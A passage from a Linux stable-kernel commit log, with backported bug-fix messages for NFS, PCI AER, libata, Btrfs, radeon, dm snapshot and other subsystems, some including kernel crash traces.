[<000003ffa24fa06a>] 0x3ffa24fa06a Signed-off-by: Christian Borntraeger Reviewed-by: Dominik Dingel Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 082767b769af3148c83fba81efffdb14623049b8 Author: Christoph Hellwig Date: Mon Feb 8 21:11:50 2016 +0100 nfs: fix nfs_size_to_loff_t commit 50ab8ec74a153eb30db26529088bc57dd700b24c upstream. See http: //www.infradead.org/rpr.html X-Evolution-Source: 1451162204.2173.11@leira.trondhjem.org Content-Transfer-Encoding: 8bit Mime-Version: 1.0 We support OFFSET_MAX just fine, so don't round down below it. Also switch to using min_t to make the helper more readable. Signed-off-by: Christoph Hellwig Fixes: 433c92379d9c ("NFS: Clean up nfs_size_to_loff_t()") Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d82b185bfd5faeed097cd2c15884991d14b2082e Author: Sebastian Andrzej Siewior Date: Mon Jan 25 10:08:00 2016 -0600 PCI/AER: Flush workqueue on device remove to avoid use-after-free commit 4ae2182b1e3407de369f8c5d799543b7db74221b upstream. A Root Port's AER structure (rpc) contains a queue of events. aer_irq() enqueues AER status information and schedules aer_isr() to dequeue and process it. When we remove a device, aer_remove() waits for the queue to be empty, then frees the rpc struct. But aer_isr() references the rpc struct after dequeueing and possibly emptying the queue, which can cause a use-after-free error as in the following scenario with two threads, aer_isr() on the left and a concurrent aer_remove() on the right: Thread A Thread B -------- -------- aer_irq(): rpc->prod_idx++ aer_remove(): wait_event(rpc->prod_idx == rpc->cons_idx) # now blocked until queue becomes empty aer_isr(): # ... rpc->cons_idx++ # unblocked because queue is now empty ... kfree(rpc) mutex_unlock(&rpc->rpc_mutex) To prevent this problem, use flush_work() to wait until the last scheduled instance of aer_isr() has completed before freeing the rpc struct in aer_remove(). I reproduced this use-after-free by flashing a device FPGA and re-enumerating the bus to find the new device. With SLUB debug, this crashes with 0x6b bytes (POISON_FREE, the use-after-free magic number) in GPR25: pcieport 0000:00:00.0: AER: Multiple Corrected error received: id=0000 Unable to handle kernel paging request for data at address 0x27ef9e3e Workqueue: events aer_isr GPR24: dd6aa000 6b6b6b6b 605f8378 605f8360 d99b12c0 604fc674 606b1704 d99b12c0 NIP [602f5328] pci_walk_bus+0xd4/0x104 [bhelgaas: changelog, stable tag] Signed-off-by: Sebastian Andrzej Siewior Signed-off-by: Bjorn Helgaas Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fb1a35b808859e725278307a236c513f1fa069de Author: Tejun Heo Date: Mon Feb 1 11:33:21 2016 -0500 libata: fix sff host state machine locking while polling commit 8eee1d3ed5b6fc8e14389567c9a6f53f82bb7224 upstream. The bulk of ATA host state machine is implemented by ata_sff_hsm_move(). The function is called from either the interrupt handler or, if polling, a work item. Unlike from the interrupt path, the polling path calls the function without holding the host lock and ata_sff_hsm_move() selectively grabs the lock. This is completely broken. If an IRQ triggers while polling is in progress, the two can easily race and end up accessing the hardware and updating state machine state at the same time. This can put the state machine in an illegal state and lead to a crash like the following. kernel BUG at drivers/ata/libata-sff.c:1302! invalid opcode: 0000 [#1] SMP DEBUG_PAGEALLOC KASAN Modules linked in: CPU: 1 PID: 10679 Comm: syz-executor Not tainted 4.5.0-rc1+ #300 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 task: ffff88002bd00000 ti: ffff88002e048000 task.ti: ffff88002e048000 RIP: 0010:[] [] ata_sff_hsm_move+0x619/0x1c60 ... Call Trace: [] __ata_sff_port_intr+0x1e1/0x3a0 drivers/ata/libata-sff.c:1584 [] ata_bmdma_port_intr+0x71/0x400 drivers/ata/libata-sff.c:2877 [< inline >] __ata_sff_interrupt drivers/ata/libata-sff.c:1629 [] ata_bmdma_interrupt+0x253/0x580 drivers/ata/libata-sff.c:2902 [] handle_irq_event_percpu+0x108/0x7e0 kernel/irq/handle.c:157 [] handle_irq_event+0xa7/0x140 kernel/irq/handle.c:205 [] handle_edge_irq+0x1e3/0x8d0 kernel/irq/chip.c:623 [< inline >] generic_handle_irq_desc include/linux/irqdesc.h:146 [] handle_irq+0x10c/0x2a0 arch/x86/kernel/irq_64.c:78 [] do_IRQ+0x7d/0x1a0 arch/x86/kernel/irq.c:240 [] common_interrupt+0x8c/0x8c arch/x86/entry/entry_64.S:520 [< inline >] rcu_lock_acquire include/linux/rcupdate.h:490 [< inline >] rcu_read_lock include/linux/rcupdate.h:874 [] filemap_map_pages+0x131/0xba0 mm/filemap.c:2145 [< inline >] do_fault_around mm/memory.c:2943 [< inline >] do_read_fault mm/memory.c:2962 [< inline >] do_fault mm/memory.c:3133 [< inline >] handle_pte_fault mm/memory.c:3308 [< inline >] __handle_mm_fault mm/memory.c:3418 [] handle_mm_fault+0x2516/0x49a0 mm/memory.c:3447 [] __do_page_fault+0x376/0x960 arch/x86/mm/fault.c:1238 [] trace_do_page_fault+0xe8/0x420 arch/x86/mm/fault.c:1331 [] do_async_page_fault+0x14/0xd0 arch/x86/kernel/kvm.c:264 [] async_page_fault+0x28/0x30 arch/x86/entry/entry_64.S:986 Fix it by ensuring that the polling path is holding the host lock before entering ata_sff_hsm_move() so that all hardware accesses and state updates are performed under the host lock. Signed-off-by: Tejun Heo Reported-and-tested-by: Dmitry Vyukov Link: http://lkml.kernel.org/g/CACT4Y+b_JsOxJu2EZyEf+mOXORc_zid5V1-pLZSroJVxyWdSpw@mail.gmail.com Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 29c3e48d1ff953f8e6b1cdad568cf7c7ba295442 Author: Tejun Heo Date: Tue Feb 9 16:11:26 2016 -0500 Revert "workqueue: make sure delayed work run in local cpu" commit 041bd12e272c53a35c54c13875839bcb98c999ce upstream. This reverts commit 874bbfe600a660cba9c776b3957b1ce393151b76. Workqueue used to implicity guarantee that work items queued without explicit CPU specified are put on the local CPU. Recent changes in timer broke the guarantee and led to vmstat breakage which was fixed by 176bed1de5bf ("vmstat: explicitly schedule per-cpu work on the CPU we need it to run on"). vmstat is the most likely to expose the issue and it's quite possible that there are other similar problems which are a lot more difficult to trigger. As a preventive measure, 874bbfe600a6 ("workqueue: make sure delayed work run in local cpu") was applied to restore the local CPU guarnatee. Unfortunately, the change exposed a bug in timer code which got fixed by 22b886dd1018 ("timers: Use proper base migration in add_timer_on()"). Due to code restructuring, the commit couldn't be backported beyond certain point and stable kernels which only had 874bbfe600a6 started crashing. The local CPU guarantee was accidental more than anything else and we want to get rid of it anyway. As, with the vmstat case fixed, 874bbfe600a6 is causing more problems than it's fixing, it has been decided to take the chance and officially break the guarantee by reverting the commit. A debug feature will be added to force foreign CPU assignment to expose cases relying on the guarantee and fixes for the individual cases will be backported to stable as necessary. Signed-off-by: Tejun Heo Fixes: 874bbfe600a6 ("workqueue: make sure delayed work run in local cpu") Link: http://lkml.kernel.org/g/20160120211926.GJ10810@quack.suse.cz Cc: Mike Galbraith Cc: Henrique de Moraes Holschuh Cc: Daniel Bilik Cc: Jan Kara Cc: Shaohua Li Cc: Sasha Levin Cc: Ben Hutchings Cc: Thomas Gleixner Cc: Daniel Bilik Cc: Jiri Slaby Cc: Michal Hocko Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 17006a62c4d4bdf95abf28e11bec020c735169eb Author: Johannes Berg Date: Tue Jan 26 11:29:03 2016 +0100 rfkill: fix rfkill_fop_read wait_event usage commit 6736fde9672ff6717ac576e9bba2fd5f3dfec822 upstream. The code within wait_event_interruptible() is called with !TASK_RUNNING, so mustn't call any functions that can sleep, like mutex_lock(). Since we re-check the list_empty() in a loop after the wait, it's safe to simply use list_empty() without locking. This bug has existed forever, but was only discovered now because all userspace implementations, including the default 'rfkill' tool, use poll() or select() to get a readable fd before attempting to read. Fixes: c64fb01627e24 ("rfkill: create useful userspace interface") Reported-by: Dmitry Vyukov Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0bca657a50a1016cc7469a4d57bd4ff48136a0db Author: Oliver Neukum Date: Mon Jan 18 15:45:18 2016 +0100 cdc-acm:exclude Samsung phone 04e8:685d commit e912e685f372ab62a2405a1acd923597f524e94a upstream. This phone needs to be handled by a specialised firmware tool and is reported to crash irrevocably if cdc-acm takes it. Signed-off-by: Oliver Neukum Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 72dcc313ca78c2cb14e1e5ca18890cb70d31ec73 Author: Ilya Dryomov Date: Wed Feb 17 20:04:08 2016 +0100 libceph: don't bail early from try_read() when skipping a message commit e7a88e82fe380459b864e05b372638aeacb0f52d upstream. The contract between try_read() and try_write() is that when called each processes as much data as possible. When instructed by osd_client to skip a message, try_read() is violating this contract by returning after receiving and discarding a single message instead of checking for more. try_write() then gets a chance to write out more requests, generating more replies/skips for try_read() to handle, forcing the messenger into a starvation loop. Reported-by: Varada Kari Signed-off-by: Ilya Dryomov Tested-by: Varada Kari Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6a8b18465a11578cdab53ab0d398db6067a98933 Author: Mike Marciniszyn Date: Thu Jan 7 16:44:10 2016 -0500 IB/qib: fix mcast detach when qp not attached commit 09dc9cd6528f5b52bcbd3292a6312e762c85260f upstream. The code produces the following trace: [1750924.419007] general protection fault: 0000 [#3] SMP [1750924.420364] Modules linked in: nfnetlink autofs4 rpcsec_gss_krb5 nfsv4 dcdbas rfcomm bnep bluetooth nfsd auth_rpcgss nfs_acl dm_multipath nfs lockd scsi_dh sunrpc fscache radeon ttm drm_kms_helper drm serio_raw parport_pc ppdev i2c_algo_bit lpc_ich ipmi_si ib_mthca ib_qib dca lp parport ib_ipoib mac_hid ib_cm i3000_edac ib_sa ib_uverbs edac_core ib_umad ib_mad ib_core ib_addr tg3 ptp dm_mirror dm_region_hash dm_log psmouse pps_core [1750924.420364] CPU: 1 PID: 8401 Comm: python Tainted: G D 3.13.0-39-generic #66-Ubuntu [1750924.420364] Hardware name: Dell Computer Corporation PowerEdge 860/0XM089, BIOS A04 07/24/2007 [1750924.420364] task: ffff8800366a9800 ti: ffff88007af1c000 task.ti: ffff88007af1c000 [1750924.420364] RIP: 0010:[] [] qib_mcast_qp_free+0x11/0x50 [ib_qib] [1750924.420364] RSP: 0018:ffff88007af1dd70 EFLAGS: 00010246 [1750924.420364] RAX: 0000000000000001 RBX: ffff88007b822688 RCX: 000000000000000f [1750924.420364] RDX: ffff88007b822688 RSI: ffff8800366c15a0 RDI: 6764697200000000 [1750924.420364] RBP: ffff88007af1dd78 R08: 0000000000000001 R09: 0000000000000000 [1750924.420364] R10: 0000000000000011 R11: 0000000000000246 R12: ffff88007baa1d98 [1750924.420364] R13: ffff88003ecab000 R14: ffff88007b822660 R15: 0000000000000000 [1750924.420364] FS: 00007ffff7fd8740(0000) GS:ffff88007fc80000(0000) knlGS:0000000000000000 [1750924.420364] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [1750924.420364] CR2: 00007ffff597c750 CR3: 000000006860b000 CR4: 00000000000007e0 [1750924.420364] Stack: [1750924.420364] ffff88007b822688 ffff88007af1ddf0 ffffffffa0132429 000000007af1de20 [1750924.420364] ffff88007baa1dc8 ffff88007baa0000 ffff88007af1de70 ffffffffa00cb313 [1750924.420364] 00007fffffffde88 0000000000000000 0000000000000008 ffff88003ecab000 [1750924.420364] Call Trace: [1750924.420364] [] qib_multicast_detach+0x1e9/0x350 [ib_qib] [1750924.568035] [] ? ib_uverbs_modify_qp+0x323/0x3d0 [ib_uverbs] [1750924.568035] [] ib_detach_mcast+0x31/0x50 [ib_core] [1750924.568035] [] ib_uverbs_detach_mcast+0x93/0x170 [ib_uverbs] [1750924.568035] [] ib_uverbs_write+0xc6/0x2c0 [ib_uverbs] [1750924.568035] [] ? apparmor_file_permission+0x18/0x20 [1750924.568035] [] ? security_file_permission+0x23/0xa0 [1750924.568035] [] vfs_write+0xb4/0x1f0 [1750924.568035] [] SyS_write+0x49/0xa0 [1750924.568035] [] system_call_fastpath+0x1a/0x1f [1750924.568035] Code: 66 2e 0f 1f 84 00 00 00 00 00 31 c0 5d c3 66 2e 0f 1f 84 00 00 00 00 00 66 90 0f 1f 44 00 00 55 48 89 e5 53 48 89 fb 48 8b 7f 10 ff 8f 40 01 00 00 74 0e 48 89 df e8 8e f8 06 e1 5b 5d c3 0f [1750924.568035] RIP [] qib_mcast_qp_free+0x11/0x50 [ib_qib] [1750924.568035] RSP [1750924.650439] ---[ end trace 73d5d4b3f8ad4851 ] The fix is to note the qib_mcast_qp that was found. If none is found, then return EINVAL indicating the error. Reviewed-by: Dennis Dalessandro Reported-by: Jason Gunthorpe Signed-off-by: Mike Marciniszyn Signed-off-by: Doug Ledford Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7a78b76900e64f5b209652b771d0d5887ca7adbe Author: Rasmus Villemoes Date: Mon Feb 15 19:41:47 2016 +0100 drm/radeon: use post-decrement in error handling commit bc3f5d8c4ca01555820617eb3b6c0857e4df710d upstream. We need to use post-decrement to get the pci_map_page undone also for i==0, and to avoid some very unpleasant behaviour if pci_map_page failed already at i==0. Reviewed-by: Christian König Signed-off-by: Rasmus Villemoes Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c9bf0cf6bbfcaa4f59bdc4554fdcb63922ec45df Author: Nicolai Hähnle Date: Fri Feb 5 14:35:53 2016 -0500 drm/radeon: hold reference to fences in radeon_sa_bo_new commit f6ff4f67cdf8455d0a4226eeeaf5af17c37d05eb upstream. An arbitrary amount of time can pass between spin_unlock and radeon_fence_wait_any, so we need to ensure that nobody frees the fences from under us. Based on the analogous fix for amdgpu. Signed-off-by: Nicolai Hähnle Reviewed-by: Christian König Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 21992b66811316c20940d20ef90b233fcb10dfb2 Author: Alex Deucher Date: Thu Dec 17 12:52:17 2015 -0500 drm/radeon: clean up fujitsu quirks commit 0eb1c3d4084eeb6fb3a703f88d6ce1521f8fcdd1 upstream. Combine the two quirks. bug: https://bugzilla.kernel.org/show_bug.cgi?id=109481 Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 76257677a152cefb2583090b31794418711334a4 Author: Rob Clark Date: Wed Oct 15 15:00:47 2014 -0400 drm/vmwgfx: respect 'nomodeset' commit 96c5d076f0a5e2023ecdb44d8261f87641ee71e0 upstream. Signed-off-by: Rob Clark Reviewed-by: Thomas Hellstrom . Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a28ea508dc24f9855777efb8f05733a4cb984b38 Author: Dmitry V. Levin Date: Sun Dec 27 02:13:27 2015 +0300 sparc64: fix incorrect sign extension in sys_sparc64_personality commit 525fd5a94e1be0776fa652df5c687697db508c91 upstream. The value returned by sys_personality has type "long int". It is saved to a variable of type "int", which is not a problem yet because the type of task_struct->pesonality is "unsigned int". The problem is the sign extension from "int" to "long int" that happens on return from sys_sparc64_personality. For example, a userspace call personality((unsigned) -EINVAL) will result to any subsequent personality call, including absolutely harmless read-only personality(0xffffffff) call, failing with errno set to EINVAL. Signed-off-by: Dmitry V. Levin Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit eaeedae5299659015496ac99c04c3e82c6326c81 Author: Linus Walleij Date: Mon Jan 4 02:21:55 2016 +0100 mmc: mmci: fix an ages old detection error commit 0bcb7efdff63564e80fe84dd36a9fbdfbf6697a4 upstream. commit 4956e10903fd ("ARM: 6244/1: mmci: add variant data and default MCICLOCK support") added variant data for ARM, U300 and Ux500 variants. The Nomadik NHK8815/8820 variant was erroneously labeled as a U300 variant, and when the proper Nomadik variant was later introduced in commit 34fd421349ff ("ARM: 7378/1: mmci: add support for the Nomadik MMCI variant") this was not fixes. Let's say this fixes the latter commit as there was no proper Nomadik support until then. Fixes: 34fd421349ff ("ARM: 7378/1: mmci: add support for the Nomadik...") Signed-off-by: Linus Walleij Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ff7d966a9267cd85874a79d23711b9dce3a12d02 Author: Richard Cochran Date: Tue Dec 22 22:19:58 2015 +0100 posix-clock: Fix return code on the poll method's error path commit 1b9f23727abb92c5e58f139e7d180befcaa06fe0 upstream. The posix_clock_poll function is supposed to return a bit mask of POLLxxx values. However, in case the hardware has disappeared (due to hot plugging for example) this code returns -ENODEV in a futile attempt to throw an error at the file descriptor level. The kernel's file_operations interface does not accept such error codes from the poll method. Instead, this function aught to return POLLERR. The value -ENODEV does, in fact, contain the POLLERR bit (and almost all the other POLLxxx bits as well), but only by chance. This patch fixes code to return a proper bit mask. Credit goes to Markus Elfring for pointing out the suspicious signed/unsigned mismatch. Reported-by: Markus Elfring igned-off-by: Richard Cochran Cc: John Stultz Cc: Julia Lawall Link: http://lkml.kernel.org/r/1450819198-17420-1-git-send-email-richardcochran@gmail.com Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7cef2dbaaef863d69b3e4f9b814ea4a99495d37b Author: Mikulas Patocka Date: Fri Jan 8 19:07:55 2016 -0500 dm snapshot: fix hung bios when copy error occurs commit 385277bfb57faac44e92497104ba542cdd82d5fe upstream. When there is an error copying a chunk dm-snapshot can incorrectly hold associated bios indefinitely, resulting in hung IO. The function copy_callback sets pe->error if there was error copying the chunk, and then calls complete_exception. complete_exception calls pending_complete on error, otherwise it calls commit_exception with commit_callback (and commit_callback calls complete_exception). The persistent exception store (dm-snap-persistent.c) assumes that calls to prepare_exception and commit_exception are paired. persistent_prepare_exception increases ps->pending_count and persistent_commit_exception decreases it. If there is a copy error, persistent_prepare_exception is called but persistent_commit_exception is not. This results in the variable ps->pending_count never returning to zero and that causes some pending exceptions (and their associated bios) to be held forever. Fix this by unconditionally calling commit_exception regardless of whether the copy was successful. A new "valid" parameter is added to commit_exception -- when the copy fails this parameter is set to zero so that the chunk that failed to copy (and all following chunks) is not recorded in the snapshot store. Also, remove commit_callback now that it is merely a wrapper around pending_complete. Signed-off-by: Mikulas Patocka Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b17ef0cc79ce86036886b4da361b8af3fbc04617 Author: Mauro Carvalho Chehab Date: Wed Feb 3 17:33:48 2016 -0200 tda1004x: only update the frontend properties if locked commit e8beb02343e7582980c6705816cd957cf4f74c7a upstream. The tda1004x was updating the properties cache before locking. If the device is not locked, the data at the registers are just random values with no real meaning. This caused the driver to fail with libdvbv5, as such library calls GET_PROPERTY from time to time, in order to return the DVB stats. Tested with a saa7134 card 78: ASUSTeK P7131 Dual, vendor PCI ID: 1043:4862 Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8662881e5f9cd4f7f4b22d235ddc73374b3db8de Author: Antonio Ospite Date: Fri Oct 2 17:33:13 2015 -0300 gspca: ov534/topro: prevent a division by 0 commit dcc7fdbec53a960588f2c40232db2c6466c09917 upstream. v4l2-compliance sends a zeroed struct v4l2_streamparm in v4l2-test-formats.cpp::testParmType(), and this results in a division by 0 in some gspca subdrivers: divide error: 0000 [#1] SMP Modules linked in: gspca_ov534 gspca_main ... CPU: 0 PID: 17201 Comm: v4l2-compliance Not tainted 4.3.0-rc2-ao2 #1 Hardware name: System manufacturer System Product Name/M2N-E SLI, BIOS ASUS M2N-E SLI ACPI BIOS Revision 1301 09/16/2010 task: ffff8800818306c0 ti: ffff880095c4c000 task.ti: ffff880095c4c000 RIP: 0010:[] [] sd_set_streamparm+0x12/0x60 [gspca_ov534] RSP: 0018:ffff880095c4fce8 EFLAGS: 00010296 RAX: 0000000000000000 RBX: ffff8800c9522000 RCX: ffffffffa077a140 RDX: 0000000000000000 RSI: ffff880095e0c100 RDI: ffff8800c9522000 RBP: ffff880095e0c100 R08: ffffffffa077a100 R09: 00000000000000cc R10: ffff880067ec7740 R11: 0000000000000016 R12: ffffffffa07bb400 R13: 0000000000000000 R14: ffff880081b6a800 R15: 0000000000000000 FS: 00007fda0de78740(0000) GS:ffff88012fc00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00000000014630f8 CR3: 00000000cf349000 CR4: 00000000000006f0 Stack: ffffffffa07a6431 ffff8800c9522000 ffffffffa077656e 00000000c0cc5616 ffff8800c9522000 ffffffffa07a5e20 ffff880095e0c100 0000000000000000 ffff880067ec7740 ffffffffa077a140 ffff880067ec7740 0000000000000016 Call Trace: [] ? v4l_s_parm+0x21/0x50 [videodev] [] ? vidioc_s_parm+0x4e/0x60 [gspca_main] [] ? __video_do_ioctl+0x280/0x2f0 [videodev] [] ? video_ioctl2+0x20/0x20 [videodev] [] ? video_usercopy+0x319/0x4e0 [videodev] [] ? page_add_new_anon_rmap+0x71/0xa0 [] ? mem_cgroup_commit_charge+0x52/0x90 [] ? handle_mm_fault+0xc18/0x1680 [] ? v4l2_ioctl+0xac/0xd0 [videodev] [] ? do_vfs_ioctl+0x28f/0x480 [] ? SyS_ioctl+0x74/0x80 [] ? entry_SYSCALL_64_fastpath+0x16/0x75 Code: c7 93 d9 79 a0 5b 5d e9 f1 f3 9a e0 0f 1f 00 66 2e 0f 1f 84 00 00 00 00 00 66 66 66 66 90 53 31 d2 48 89 fb 48 83 ec 08 8b 46 10 76 0c 80 bf ac 0c 00 00 00 88 87 4e 0e 00 00 74 09 80 bf 4f RIP [] sd_set_streamparm+0x12/0x60 [gspca_ov534] RSP ---[ end trace 279710c2c6c72080 ]--- Following what the doc says about a zeroed timeperframe (see http://www.linuxtv.org/downloads/v4l-dvb-apis/vidioc-g-parm.html): ... To reset manually applications can just set this field to zero. fix the issue by resetting the frame rate to a default value in case of an unusable timeperframe. The fix is done in the subdrivers instead of gspca.c because only the subdrivers have notion of a default frame rate to reset the camera to. Signed-off-by: Antonio Ospite Reviewed-by: Hans de Goede Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ed50968de6ecb2bc1fc5e175fd6612c82ce07074 Author: Malcolm Priestley Date: Mon Aug 31 06:13:45 2015 -0300 media: dvb-core: Don't force CAN_INVERSION_AUTO in oneshot mode commit c9d57de6103e343f2d4e04ea8d9e417e10a24da7 upstream. When in FE_TUNE_MODE_ONESHOT the frontend must report the actual capabilities so user can take appropriate action. With frontends that can't do auto inversion this is done by dvb-core automatically so CAN_INVERSION_AUTO is valid. However, when in FE_TUNE_MODE_ONESHOT this is not true. So only set FE_CAN_INVERSION_AUTO in modes other than FE_TUNE_MODE_ONESHOT Signed-off-by: Malcolm Priestley Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d3a7a367951811fcc30e98764ddd86a17856aeb3 Author: Vegard Nossum Date: Wed Dec 16 21:59:56 2015 +0100 uml: fix hostfs mknod() commit 9f2dfda2f2f1c6181c3732c16b85c59ab2d195e0 upstream. An inverted return value check in hostfs_mknod() caused the function to return success after handling it as an error (and cleaning up). It resulted in the following segfault when trying to bind() a named unix socket: Pid: 198, comm: a.out Not tainted 4.4.0-rc4 RIP: 0033:[<0000000061077df6>] RSP: 00000000daae5d60 EFLAGS: 00010202 RAX: 0000000000000000 RBX: 000000006092a460 RCX: 00000000dfc54208 RDX: 0000000061073ef1 RSI: 0000000000000070 RDI: 00000000e027d600 RBP: 00000000daae5de0 R08: 00000000da980ac0 R09: 0000000000000000 R10: 0000000000000003 R11: 00007fb1ae08f72a R12: 0000000000000000 R13: 000000006092a460 R14: 00000000daaa97c0 R15: 00000000daaa9a88 Kernel panic - not syncing: Kernel mode fault at addr 0x40, ip 0x61077df6 CPU: 0 PID: 198 Comm: a.out Not tainted 4.4.0-rc4 #1 Stack: e027d620 dfc54208 0000006f da981398 61bee000 0000c1ed daae5de0 0000006e e027d620 dfcd4208 00000005 6092a460 Call Trace: [<60dedc67>] SyS_bind+0xf7/0x110 [<600587be>] handle_syscall+0x7e/0x80 [<60066ad7>] userspace+0x3e7/0x4e0 [<6006321f>] ? save_registers+0x1f/0x40 [<6006c88e>] ? arch_prctl+0x1be/0x1f0 [<60054985>] fork_handler+0x85/0x90 Let's also get rid of the "cosmic ray protection" while we're at it. Fixes: e9193059b1b3 "hostfs: fix races in dentry_name() and inode_name()" Signed-off-by: Vegard Nossum Cc: Jeff Dike Cc: Al Viro Signed-off-by: Richard Weinberger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a90bdff5ba7962f9f7611072bffadef3bb6351fa Author: Vegard Nossum Date: Fri Dec 18 21:28:53 2015 +0100 uml: flush stdout before forking commit 0754fb298f2f2719f0393491d010d46cfb25d043 upstream. I was seeing some really weird behaviour where piping UML's output somewhere would cause output to get duplicated: $ ./vmlinux | head -n 40 Checking that ptrace can change system call numbers...Core dump limits : soft - 0 hard - NONE OK Checking syscall emulation patch for ptrace...Core dump limits : soft - 0 hard - NONE OK Checking advanced syscall emulation patch for ptrace...Core dump limits : soft - 0 hard - NONE OK Core dump limits : soft - 0 hard - NONE This is because these tests do a fork() which duplicates the non-empty stdout buffer, then glibc flushes the duplicated buffer as each child exits. A simple workaround is to flush before forking. Signed-off-by: Vegard Nossum Signed-off-by: Richard Weinberger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2e2256f10058bdc42d209d1092d98cbe79c3bc3f Author: Stefan Haberland Date: Tue Dec 15 10:45:05 2015 +0100 s390/dasd: fix refcount for PAV reassignment commit 9d862ababb609439c5d6987f6d3ddd09e703aa0b upstream. Add refcount to the DASD device when a summary unit check worker is scheduled. This prevents that the device is set offline with worker in place. Signed-off-by: Stefan Haberland Signed-off-by: Martin Schwidefsky Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b711d7ecb0c0a6f16f0956b0692197971999bfda Author: Stefan Haberland Date: Tue Dec 15 10:16:43 2015 +0100 s390/dasd: prevent incorrect length error under z/VM after PAV changes commit 020bf042e5b397479c1174081b935d0ff15d1a64 upstream. The channel checks the specified length and the provided amount of data for CCWs and provides an incorrect length error if the size does not match. Under z/VM with simulation activated the length may get changed. Having the suppress length indication bit set is stated as good CCW coding practice and avoids errors under z/VM. Signed-off-by: Stefan Haberland Signed-off-by: Martin Schwidefsky Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4c41d50474981a83b0c53873bb4aa92993f53164 Author: Ard Biesheuvel Date: Fri Jan 1 13:39:22 2016 +0100 s390: fix normalization bug in exception table sorting commit bcb7825a77f41c7dd91da6f7ac10b928156a322e upstream. The normalization pass in the sorting routine of the relative exception table serves two purposes: - it ensures that the address fields of the exception table entries are fully ordered, so that no ambiguities arise between entries with identical instruction offsets (i.e., when two instructions that are exactly 8 bytes apart each have an exception table entry associated with them) - it ensures that the offsets of both the instruction and the fixup fields of each entry are relative to their final location after sorting. Commit eb608fb366de ("s390/exceptions: switch to relative exception table entries") ported the relative exception table format from x86, but modified the sorting routine to only normalize the instruction offset field and not the fixup offset field. The result is that the fixup offset of each entry will be relative to the original location of the entry before sorting, likely leading to crashes when those entries are dereferenced. Fixes: eb608fb366de ("s390/exceptions: switch to relative exception table entries") Signed-off-by: Ard Biesheuvel Signed-off-by: Heiko Carstens Signed-off-by: Martin Schwidefsky Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 411cfb813cb4cdd74e0ba24d79090538ebd9133d Author: Filipe Manana Date: Thu Dec 31 18:16:29 2015 +0000 Btrfs: fix number of transaction units required to create symlink commit 9269d12b2d57d9e3d13036bb750762d1110d425c upstream. We weren't accounting for the insertion of an inline extent item for the symlink inode nor that we need to update the parent inode item (through the call to btrfs_add_nondir()). So fix this by including two more transaction units. Signed-off-by: Filipe Manana Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3f07b0044aeb38c01f75d8b09a9ed5d4ca5d566a Author: Filipe Manana Date: Thu Dec 31 18:07:59 2015 +0000 Btrfs: send, don't BUG_ON() when an empty symlink is found commit a879719b8c90e15c9e7fa7266d5e3c0ca962f9df upstream. When a symlink is successfully created it always has an inline extent containing the source path. However if an error happens when creating the symlink, we can leave in the subvolume's tree a symlink inode without any such inline extent item - this happens if after btrfs_symlink() calls btrfs_end_transaction() and before it calls the inode eviction handler (through the final iput() call), the transaction gets committed and a crash happens before the eviction handler gets called, or if a snapshot of the subvolume is made before the eviction handler gets called. Sadly we can't just avoid this by making btrfs_symlink() call btrfs_end_transaction() after it calls the eviction handler, because the later can commit the current transaction before it removes any items from the subvolume tree (if it encounters ENOSPC errors while reserving space for removing all the items). So make send fail more gracefully, with an -EIO error, and print a message to dmesg/syslog informing that there's an empty symlink inode, so that the user can delete the empty symlink or do something else about it. Reported-by: Stephen R. van den Berg Signed-off-by: Filipe Manana Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cbc9cfee8fc53203f6506c3fbc668c99fc5bf630 Author: Josef Bacik Date: Thu Oct 22 15:05:09 2015 -0400 Btrfs: igrab inode in writepage commit be7bd730841e69fe8f70120098596f648cd1f3ff upstream. We hit this panic on a few of our boxes this week where we have an ordered_extent with an NULL inode. We do an igrab() of the inode in writepages, but weren't doing it in writepage which can be called directly from the VM on dirty pages. If the inode has been unlinked then we could have I_FREEING set which means igrab() would return NULL and we get this panic. Fix this by trying to igrab in btrfs_writepage, and if it returns NULL then just 